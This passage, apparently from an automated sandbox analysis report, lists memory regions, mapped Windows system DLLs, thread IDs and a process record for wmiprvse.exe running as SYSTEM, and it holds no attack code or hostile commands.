	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2860
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2861
	        start_va = 0x130000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 2862
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2863
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2864
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2865
	        start_va = 0xffc00000
	          end_va = 0xffc2ffff
	     entry_point = 0xffc00000
	     region_type = mapped_file
	            name = "wmiadap.exe"
	        filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe")

Region:
	              id = 2866
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2867
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2868
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2869
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2870
	        start_va = 0x210000
	          end_va = 0x30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 2871
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2872
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2873
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2874
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2875
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2876
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2877
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2878
	        start_va = 0x7fef4730000
	          end_va = 0x7fef4756fff
	     entry_point = 0x7fef4730000
	     region_type = mapped_file
	            name = "loadperf.dll"
	        filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll")

Region:
	              id = 2879
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2880
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2881
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2882
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2883
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2884
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2885
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2886
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2887
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2888
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2889
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2890
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2891
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2892
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2893
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2894
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2895
	        start_va = 0x310000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 2896
	        start_va = 0x430000
	          end_va = 0x43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000430000"
	        filename = ""

Region:
	              id = 2897
	        start_va = 0x440000
	          end_va = 0x5c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000440000"
	        filename = ""

Region:
	              id = 2898
	        start_va = 0x5d0000
	          end_va = 0x750fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005d0000"
	        filename = ""

Region:
	              id = 2899
	        start_va = 0x760000
	          end_va = 0x81ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000760000"
	        filename = ""

Region:
	              id = 2900
	        start_va = 0x8a0000
	          end_va = 0x91ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008a0000"
	        filename = ""

Region:
	              id = 2901
	        start_va = 0x9e0000
	          end_va = 0xa5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000009e0000"
	        filename = ""

Region:
	              id = 2902
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2903
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2904
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2905
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2906
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2907
	        start_va = 0xbe0000
	          end_va = 0xc5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000be0000"
	        filename = ""

Region:
	              id = 2908
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2909
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2910
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 2911
	        start_va = 0xc90000
	          end_va = 0xd0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c90000"
	        filename = ""

Region:
	              id = 2912
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2913
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2914
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2915
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2916
	        start_va = 0x820000
	          end_va = 0x89ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000820000"
	        filename = ""

Region:
	              id = 2917
	        start_va = 0xd10000
	          end_va = 0xfdefff
	     entry_point = 0xd10000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2918
	        start_va = 0x1000000
	          end_va = 0x107ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001000000"
	        filename = ""

Region:
	              id = 2919
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2920
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2921
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2922
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2923
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2924
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""


Thread:
	id = 268
	os_tid = 0x758


Thread:
	id = 269
	os_tid = 0x3e8


Thread:
	id = 270
	os_tid = 0x760


Thread:
	id = 271
	os_tid = 0x71c


Thread:
	id = 272
	os_tid = 0x1ac


Thread:
	id = 273
	os_tid = 0x53c


Process:
	id = "14"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x74618000"
	os_pid = "0x678"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "10"
	os_parent_pid = "0x348"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cb5b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2925
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2926
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2927
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2928
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2929
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2930
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2931
	        start_va = 0xd0000
	          end_va = 0xd6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2932
	        start_va = 0xe0000
	          end_va = 0xe1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2933
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2934
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 2935
	        start_va = 0x110000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 2936
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 2937
	        start_va = 0x1d0000
	          end_va = 0x2cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2938
	        start_va = 0x2d0000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 2939
	        start_va = 0x350000
	          end_va = 0x35ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000350000"
	        filename = ""

Region:
	              id = 2940
	        start_va = 0x360000
	          end_va = 0x45ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000360000"
	        filename = ""

Region:
	              id = 2941
	        start_va = 0x460000
	          end_va = 0x5e7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000460000"
	        filename = ""

Region:
	              id = 2942
	        start_va = 0x5f0000
	          end_va = 0x770fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005f0000"
	        filename = ""

Region:
	              id = 2943
	        start_va = 0x780000
	          end_va = 0x83ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000780000"
	        filename = ""

Region:
	              id = 2944
	        start_va = 0x840000
	          end_va = 0x93ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000840000"
	        filename = ""

Region:
	              id = 2945
	        start_va = 0x940000
	          end_va = 0xc0efff
	     entry_point = 0x940000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2946
	        start_va = 0xc10000
	          end_va = 0x1002fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c10000"
	        filename = ""

Region:
	              id = 2947
	        start_va = 0x1110000
	          end_va = 0x118ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001110000"
	        filename = ""

Region:
	              id = 2948
	        start_va = 0x11b0000
	          end_va = 0x122ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000011b0000"
	        filename = ""

Region:
	              id = 2949
	        start_va = 0x12a0000
	          end_va = 0x131ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012a0000"
	        filename = ""

Region:
	              id = 2950
	        start_va = 0x13d0000
	          end_va = 0x144ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013d0000"
	        filename = ""

Region:
	              id = 2951
	        start_va = 0x14c0000
	          end_va = 0x153ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014c0000"
	        filename = ""

Region:
	              id = 2952
	        start_va = 0x1590000
	          end_va = 0x160ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001590000"
	        filename = ""

Region:
	              id = 2953
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2954
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2955
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2956
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2957
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2958
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2959
	        start_va = 0xffaa0000
	          end_va = 0xffafefff
	     entry_point = 0xffaa0000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 2960
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2961
	        start_va = 0x7fef84e0000
	          end_va = 0x7fef84f5fff
	     entry_point = 0x7fef84e0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 2962
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2963
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2964
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2965
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf6cfff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2966
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2967
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2968
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2969
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2970
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2971
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2972
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2973
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2974
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2975
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2976
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2977
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2978
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2979
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2980
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
